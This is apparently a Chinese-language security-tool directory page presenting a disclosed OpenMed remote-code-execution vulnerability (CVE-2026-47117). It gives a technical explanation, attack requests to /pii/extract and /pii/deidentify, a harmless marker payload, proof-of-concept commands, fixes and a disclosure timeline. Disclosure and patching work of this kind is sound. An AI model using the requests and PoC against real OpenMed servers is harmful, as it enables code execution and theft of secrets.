Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 未认证远程代码执行(RCE)漏洞,通过 PII 隐私过滤器模型加载并设置 trust_remote_code=True 触发 | Kitploit
工具/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试AI 安全
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 未认证远程代码执行(RCE)漏洞,通过 PII 隐私过滤器模型加载并设置 trust_remote_code=True 触发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
225天前尚未审核
分享

CVE-2026-47117: OpenMed 通过 PII 模型加载实现未认证远程代码执行

严重性: 严重,CVSS 4.0 9.3,CVSS 3.1 9.8(由 VulnCheck(CNA)评定)

向量(v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

向量(v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

受影响版本: OpenMed < 1.5.2

修复版本: 1.5.2

CWE: CWE-94(对代码生成的错误控制,代码注入)

报告者: Sai Teja Erukude

CNA: VulnCheck

发布时间: 2026年6月2日


摘要

OpenMed 1.5.2 之前版本在 PII 隐私过滤器模型加载路径中存在未认证远程代码执行漏洞。

REST API 端点 POST /pii/extract 和 POST /pii/deidentify 接受请求体中的 值。在受影响版本中,隐私过滤器调度器对该攻击者可控的值使用了宽泛的子字符串匹配。因此,诸如 之类的模型名称可以路由到隐私过滤器后端。

model_name
attacker/foo-privacy-filter-bar

在非 MLX/Torch 部署中,该后端通过 Transformers 以 trust_remote_code=True 加载 Hugging Face 模型工件。如果攻击者控制的模型仓库包含通过 config.json 或 tokenizer_config.json 中的 auto_map 引用的自定义 Transformers 代码,Transformers 会在模型或分词器加载期间导入并执行该 Python 代码。

导入的代码以 OpenMed 服务进程的权限执行。

影响

能够访问 OpenMed REST API 的未认证远程攻击者可通过在 model_name 中提供恶意的 Hugging Face 风格模型标识符,在服务器上执行任意 Python 代码。

具体取决于服务部署方式,这可能允许:

  • 读取或修改 OpenMed 进程可访问的文件。
  • 访问环境变量和应用密钥。
  • 调用从 OpenMed 主机可访问的内部服务。
  • 干扰或替换应用程序行为。

受影响的端点

该问题可通过两个 PII 端点触发,因为两者都接受 model_name 并使用相同的 PII 提取/模型加载路径:

root@kitploit:~
POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
root@kitploit:~
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

技术细节

受影响的控制流存在两个信任边界缺陷:

  1. API 在选择隐私过滤器后端时信任了用户提供的 model_name。
  2. 所选后端通过以 trust_remote_code=True 加载 Transformers 工件,从而信任了远程模型仓库代码。

调度器将任何包含 privacy-filter 的模型标识符视为隐私过滤器家族的一部分。这使攻击者控制的标识符(例如 attacker/foo-privacy-filter-bar)能够进入为受信任的第一方 Privacy Filter 模型设计的代码路径。

一旦路由到该路径,Transformers 即可通过 auto_map 加载攻击者控制的自定义代码。此导入发生在模型/分词器加载期间,早于任何实际推理需要成功之前。因此,证明载荷可以非常简单:

root@kitploit:~
from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

概念验证

poc_exploit.py 构建一个无害的本地 Hugging Face 风格模型目录,其名称包含 privacy-filter。生成的自定义 Transformers 模块在导入时会写入一个标记文件。随后,脚本以该目录作为 model_name 向测试 OpenMed API 实例发送请求。

在受影响 OpenMed 版本上的预期行为是:

  1. API 接受攻击者控制的 model_name。
  2. 子字符串路由将其发送到隐私过滤器后端。
  3. 由于 trust_remote_code=True,Transformers 导入生成的自定义模块。
  4. 标记文件被创建,证明在 OpenMed 服务进程中发生了代码执行。
  5. 请求随后可能会失败,因为该玩具模型不是真正的 Privacy Filter 模型;导入时的标记才是相关的证明。

仅对本地测试实例运行:

root@kitploit:~
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

如果 OpenMed 服务运行在无法访问生成的本地目录的环境中,请将等效的测试模型发布到可控的 Hugging Face 仓库,并显式传入该标识符:

root@kitploit:~
python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

修复方案

升级到 OpenMed 1.5.2 或更高版本。

OpenMed 1.5.2 将路由与信任分离:

  • 包含 privacy-filter 的任意仓库名称不再通过受信任的隐私过滤器路径路由。
  • PrivacyFilterTorchPipeline 将 trust_remote_code 默认设置为 False。
  • 只有明确的第一方 Privacy Filter 仓库被列入可信远程代码加载的白名单。
  • 需要受控私有微调模型的操作员可以通过 OPENMED_TRUSTED_REMOTE_CODE_MODELS 将其加入白名单。

如果无法立即升级:

  • 不要将易受攻击的 REST API 暴露给不受信任的客户端。
  • 不要将用户控制的 model_name 值传递给以 trust_remote_code=True 运行的 Transformers。
  • 使用精确的受信任模型标识符替换基于子字符串的模型路由。
  • 在生产环境中预加载已批准的本地模型工件,并禁用任意模型下载。

披露时间线

日期事件
2026年5月18日漏洞提交至 VulnCheck
2026年5月20日VulnCheck 启动协调披露流程
2026年5月22日CVE-2026-47117 暂定分配
2026年6月1日OpenMed 1.5.2 修复已审核并确认
2026年6月2日CVE-2026-47117 发布

致谢

由 Sai Teja Erukude 发现并报告,通过 VulnCheck 协调。

参考资料

  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • VulnCheck 公告:https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • OpenMed 1.5.2 发布说明:https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • OpenMed 项目:https://github.com/maziyarpanahi/openmed
下载工具